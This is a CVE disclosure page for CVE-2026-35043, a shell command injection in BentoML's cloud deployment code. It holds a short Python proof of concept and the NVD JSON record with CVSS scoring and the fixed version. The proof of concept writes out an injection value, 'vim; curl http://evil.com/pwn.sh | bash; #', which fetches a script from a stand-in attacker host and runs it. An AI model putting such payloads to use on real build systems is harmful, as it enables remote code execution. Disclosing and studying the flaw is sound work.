CVE-2026-35043

# PoC Demonstration for CVE-2026-35043 # The vulnerability occurs when 'system_packages' is interpolated into a shell command # without proper quoting in deployment.py line 1648. def vulnerable_deployment_command(system_packages): # This mimics the vulnerable f-string interpolation # Line 1648: script_content = f"apt-get install -y {system_packages}" return f"apt-get install -y {system_packages}" # Malicious input designed to break out of the command context # This input attempts to execute a reverse shell or arbitrary command malicious_packages = "vim; curl http://evil.com/pwn.sh | bash; #" # The generated command would be: # apt-get install -y vim; curl http://evil.com/pwn.sh | bash; # # which executes both package installation and the malicious script. generated_script = vulnerable_deployment_command(malicious_packages) print(f"Generated setup.sh content: {generated_script}")

{"cve": {"id": "CVE-2026-35043", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:41.823", "lastModified": "2026-04-10T18:54:17.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bentoml:bentoml:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.38", "matchCriteriaId": "0D86CC10-0560-4752-9FA9-485FD844D90B"}]}]}], "references": [{"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}